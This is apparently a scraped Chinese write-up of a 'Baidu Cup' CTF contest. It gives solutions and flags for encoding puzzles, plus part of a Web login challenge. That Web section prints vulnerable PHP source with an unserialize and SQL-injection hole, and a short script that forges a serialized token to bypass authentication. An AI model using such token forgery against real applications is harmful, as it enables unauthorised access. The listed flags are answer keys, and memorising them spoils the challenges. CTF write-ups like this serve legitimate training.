IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> “百度杯”CTF比赛 十月场 writeup -> 正文阅读

[PHP知识库]“百度杯”CTF比赛 十月场 writeup

Misc

那些年我追过的贝丝

分值:10分 类型:Misc 题目名称:那些年我追过的贝丝

题目内容:

贝丝贝丝,我爱你(大声循环2的6次方ing)

ZmxhZ3tpY3FlZHVfZ29nb2dvX2Jhc2U2NH0=

ZmxhZ3tpY3FlZHVfZ29nb2dvX2Jhc2U2NH0=

贝丝:base,2的6次方:64,及base64编码

flag:flag{icqedu_gogogo_base64}

在这里插入图片描述

我要变成一只程序员

分值:10分 类型:Misc题目名称:我要变成一只程序猿

题目内容:

输入:ba1f2511fc30423bdb

再运行一下

就会有惊喜哦!!


C语言运行

#include<stdio.h>
#include<string.h>
void main() {
char str[100]="";
int i;
int len;
printf("input string:\n");
gets(str);
len=strlen(str);
printf("result:\n");
for(i=0;i<len+1;i++)
{
    putchar(str[len-i]);
}
printf("\n");
}

flag:bdb32403cf1152f1ab

剧情大反转

分值:10分 类型:Misc题目名称:剧情大反转

题目内容:
}~144_0t_em0c14w{galf

反向输入

flag:flag{w41c0me_t0_441~}

challenge

分值:10分 类型:Misc题目名称:challenge

题目内容:
666c61677b686578327374725f6368616c6c656e67657d 

flag:flag{hex2str_challenge}

在这里插入图片描述

据说是rc4算法

分值:10分 类型:Misc题目名称:听说是rc4算法
题目内容:

key welcometoicqedu 

密文UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw== 

try again

分值:10分 类型:Misc题目名称:try again

题目内容:
 try to find the flag 

附件下载

下载附件:文本打开得到flag

flag:flag{re_start_007}

在这里插入图片描述

表姐家的签到题

分值:10分 类型:Misc题目名称:表姐家的签到题

题目内容:

出题人表示金盆洗手
不坑任何参赛选手
干脆利落,直接奉上答案
就是
123456abcdef

在这里插入图片描述

flag:flag{123456abcdef}

泄露的数据

分值:10分 类型:Misc题目名称:泄露的数据

题目内容:

听说这是某个数据库的泄漏的重要数据

25d55ad283aa400af464c76d713c07ad,试着找出原始key吧。

flag{key}

判断为MD5加密:md5加解密网站
在这里插入图片描述
flag:flag{12345678}

考眼力

分值:10分 类型:Misc题目名称:考眼力

题目内容:

 gmbh{4d850d5c3c2756f67b91cbe8f046eebd} 

try to find the flag

根据gmbh推断出原字符内容只须要根据给出字符串中,每一个字母的ASCII编码-1,便可获得

flag:flag{4c850c5b3b2756e67a91bad8e046ddac}

flag格式

分值:10分 类型:Misc题目名称:flag格式

题目内容:

你真的知道flag格式吗?

尝试提交flag{0ahief9124jfjir}

直接提交·:flag{0ahief9124jfjir}

Web

Login

分值:50分 类型:Web题目名称:Login未解答

题目内容:

加油,我看好你

本题由擂主Wfox提供

创建赛题
在这里插入图片描述
查看源码显示

<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Log In</title>
    <link rel="stylesheet" href="//cdn.bootcss.com/skeleton/2.0.4/skeleton.min.css" />
</head>
<body>
    <div class="container">
        <form method="post" action="login.php">
            <label for="username">Username: </label>
            <input class="u-full-width" type="text" name="username" placeholder="Username"  />
            <label for="password">Password: </label>
            <input class="u-full-width" type="password" name="password" placeholder="Password" />
            <input type="submit" value="Log In" />
        </form>
		    </div>
</body>
</html>


<!--  test1 test1  -->

输入:test1 test1

得到:(╯‵□′)╯︵┴─┴

将该页面进行抓包得到:发现在http头里面有一个特别的参数show=0
在这里插入图片描述将show改为1,得到一段php源码
在这里插入图片描述

<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?> -->

分析代码:须要向common.php页面发送Request请求,传入变量token,先对传入的数据进行Base64解码,再解压缩压缩字符串,再反序列化变量,判断user是否等于ichunqiu。

什么是token?
Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位。简单来说就是我们可以伪造一个token加在请求参数之中,服务器认为是ichunqiu访问,返回flag。
unserialize反序列化
gzuncompress解压字符串
base64_decode:base64加密编码;

根据所需构造PHP脚本:

<?php
$a = array('user' => 'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>
Web
    Login
    Backdoor
    GetFlag
    Not Found
    Vld
    EXEC
    登陆
    Gift
    fuzzing
    Try
    Hash
    Nothing
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-01 11:41:35  更:2021-09-01 11:43:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 10:33:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码